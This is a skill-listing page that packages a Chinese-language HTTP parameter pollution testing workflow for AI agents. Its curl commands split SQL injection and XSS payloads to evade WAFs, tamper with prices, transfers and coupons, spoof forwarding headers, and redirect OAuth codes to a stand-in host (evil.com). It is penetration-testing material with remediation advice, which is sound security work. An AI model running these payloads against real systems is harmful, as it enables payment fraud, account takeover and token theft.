performing-http-parameter-pollution-attack
执行 HTTP 参数污染(HPP)攻击,通过注入由前端和后端系统以不同方式处理的重复参数,绕过输入验证、WAF 规则和安全控制。
Best use case
performing-http-parameter-pollution-attack is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
执行 HTTP 参数污染(HPP)攻击,通过注入由前端和后端系统以不同方式处理的重复参数,绕过输入验证、WAF 规则和安全控制。
Teams using performing-http-parameter-pollution-attack should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/performing-http-parameter-pollution-attack/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How performing-http-parameter-pollution-attack Compares
| Feature / Agent | performing-http-parameter-pollution-attack | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
执行 HTTP 参数污染(HPP)攻击,通过注入由前端和后端系统以不同方式处理的重复参数,绕过输入验证、WAF 规则和安全控制。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 执行 HTTP 参数污染攻击(Performing HTTP Parameter Pollution Attack)
## 适用场景
- 测试 Web 应用程序的输入验证绕过漏洞时
- 在 WAF 规避测试期间,将攻击载荷分散到重复参数中
- 评估不同技术栈如何处理重复 HTTP 参数时
- 在 API 安全测试期间识别参数优先级问题时
- 测试 OAuth 或支付处理流程的参数操控时
## 前置条件
- Burp Suite Professional,带有 Intruder 和 Repeater 模块
- 了解 HTTP 协议和查询字符串解析
- 掌握服务器端参数处理差异(第一个、最后一个、数组、连接)
- cURL 或 httpie,用于手动参数构造
- 识别目标应用程序技术栈(Apache、IIS、Tomcat、Node.js 等)
## 工作流程
### 步骤 1 — 识别参数处理行为
```bash
# 测试服务器如何处理重复参数
# 不同服务器对重复参数的处理方式不同:
# Apache/PHP:最后一个参数值
# ASP.NET/IIS:所有值以逗号连接
# JSP/Tomcat:第一个参数值
# Node.js/Express:值的数组
# Python/Flask:第一个参数值
curl -v "http://target.com/search?q=first&q=second"
# 观察应用程序在响应中使用哪个值
# 测试 POST 请求体中的重复参数
curl -X POST http://target.com/api/action \
-d "amount=100&amount=1"
```
### 步骤 2 — 执行服务器端 HPP
```bash
# 通过分割载荷绕过输入验证
# 原始被阻止的载荷:id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1" # 被 WAF 阻止
# HPP 绕过:分散到重复参数中
curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # 可能绕过 WAF
# POST 请求体中的参数污染
curl -X POST http://target.com/transfer \
-d "to_account=victim&amount=100&to_account=attacker"
# 覆盖安全关键参数
curl -X POST http://target.com/api/payment \
-d "price=99.99¤cy=USD&price=0.01"
```
### 步骤 3 — 执行客户端 HPP
```bash
# 通过 URL 操控进行客户端 HPP
# 如果应用程序在链接中反映参数:
# 原始:http://target.com/page?param=value
# 注入:http://target.com/page?param=value%26injected_param=evil_value
# 社交分享 URL 操控
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"
# 注入嵌入链接
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"
```
### 步骤 4 — 使用 HPP 绕过 WAF 规则
```bash
# WAF 通常检查单个参数值
# 将 SQL 注入分散到多个参数
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"
# 分割 XSS 载荷
curl "http://target.com/search?q=<script>&q=alert(1)</script>"
# URL 编码 HPP 绕过
curl "http://target.com/api/data?filter=admin%26role=superadmin"
# HTTP 头部中的 HPP
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-For: attacker-ip" \
http://target.com/api/admin
```
### 步骤 5 — 测试 OAuth 和支付流程 HPP
```bash
# OAuth 授权码 HPP
# 注入重复的 redirect_uri 以窃取授权码
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"
# 支付金额操控
curl -X POST http://target.com/api/checkout \
-d "item=product1&price=100&quantity=1&price=1"
# 优惠券码 HPP
curl -X POST http://target.com/api/apply-coupon \
-d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"
```
### 步骤 6 — 自动化 HPP 测试
```bash
# 使用 Burp Intruder 进行参数复制
# 在 Burp Repeater 中手动添加重复参数
# 使用 param-miner Burp 扩展自动发现
# 使用 OWASP ZAP HPP 扫描器测试
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
http://target.com
# 使用 Python 进行自定义测试
python3 hpp_tester.py --url http://target.com/api/action \
--params "id,role,amount" --method POST
```
## 核心概念
| 概念 | 定义 |
|---------|-------------|
| 服务器端 HPP(Server-Side HPP) | 后端以不同方式处理重复参数,导致逻辑绕过 |
| 客户端 HPP(Client-Side HPP) | 注入的参数被反映在发送给其他用户的 URL/链接中 |
| 参数优先级(Parameter Precedence) | 服务器行为:第一个获胜、最后一个获胜、连接或数组 |
| WAF 规避(WAF Evasion) | 将攻击载荷分散到重复参数以避免检测 |
| 特定技术解析(Technology-Specific Parsing) | 不同框架对重复参数的处理方式不同 |
| URL 编码 HPP(URL Encoding HPP) | 使用 %26(编码的 &)在值中注入额外参数 |
| 头部污染(Header Pollution) | 发送重复 HTTP 头以利用转发或信任逻辑 |
## 工具与系统
| 工具 | 用途 |
|------|---------|
| Burp Suite | 用于拦截和复制参数的 HTTP 代理 |
| param-miner | 用于发现隐藏和重复参数的 Burp 扩展 |
| OWASP ZAP | 具备 HPP 检测功能的自动化扫描器 |
| Arjun | 隐藏 HTTP 参数发现工具 |
| ffuf | 用于参数暴力破解和复制测试的模糊测试工具 |
| Wfuzz | 支持参数操控的 Web 应用程序模糊测试器 |
## 常见场景
1. **WAF 绕过** — 将 SQL 注入或 XSS 载荷分散到重复参数中,WAF 单独检查值但服务器将其连接
2. **支付操控** — 在电商结账流程中通过提交重复参数值来覆盖价格或数量参数
3. **OAuth 重定向劫持** — 注入重复的 redirect_uri 参数,将授权码重定向到攻击者控制的服务器
4. **访问控制绕过** — 覆盖请求中的角色或权限参数以提升权限或访问受限资源
5. **输入验证绕过** — 通过注入意外的重复参数来规避客户端或服务器端验证
## 输出格式
```
## HTTP 参数污染评估报告
- **目标**:http://target.com
- **服务器技术**:ASP.NET/IIS(连接行为)
- **漏洞**:支付端点的服务器端 HPP
### 参数处理矩阵
| 技术 | 行为 | 已测试 |
|-----------|----------|--------|
| Apache/PHP | 最后一个值 | 是 |
| IIS/ASP.NET | 逗号连接 | 是 |
| Node.js | 数组 | 是 |
### 发现
| # | 端点 | 参数 | 影响 | 严重程度 |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | 价格操控 | 严重 |
| 2 | GET /oauth/authorize | redirect_uri | 令牌窃取 | 高 |
| 3 | POST /api/search | q | WAF 绕过(SQLi) | 高 |
### 修复建议
- 实施严格的参数验证,拒绝重复参数
- 使用任何参数的第一个出现值,忽略后续重复值
- 应用能检测重复参数模式的 WAF 规则
- 无论客户端检查如何,始终在服务器端验证所有参数
```Related Skills
recovering-from-ransomware-attack
按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。
performing-yara-rule-development-for-detection
通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。
performing-wireless-security-assessment-with-kismet
使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。
performing-wireless-network-penetration-test
执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。
performing-windows-artifact-analysis-with-eric-zimmerman-tools
使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。
performing-wifi-password-cracking-with-aircrack
在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。
performing-web-cache-poisoning-attack
在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。
performing-web-cache-deception-attack
通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。
performing-web-application-vulnerability-triage
使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类,区分真阳性和假阳性,并确定修复优先级。
performing-web-application-scanning-with-nikto
Nikto 是一款开源 Web 服务器和 Web 应用程序扫描器,可针对超过 7,000 个潜在危险文件/程序进行测试,检查超过 1,250 个服务器的过期版本,并识别超过 270 个服务器的版本特定问题。
performing-web-application-penetration-test
遵循 OWASP Web 安全测试指南(WSTG)方法论,对 Web 应用程序执行系统化安全测试,识别认证、授权、 输入验证、会话管理和业务逻辑中的漏洞。测试人员以 Burp Suite 作为主要拦截代理,结合手动测试技术 发现自动化扫描器遗漏的缺陷。适用于 Web 应用渗透测试、OWASP 测试、应用安全评估或 Web 漏洞测试等请求场景。
performing-web-application-firewall-bypass
使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护,将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。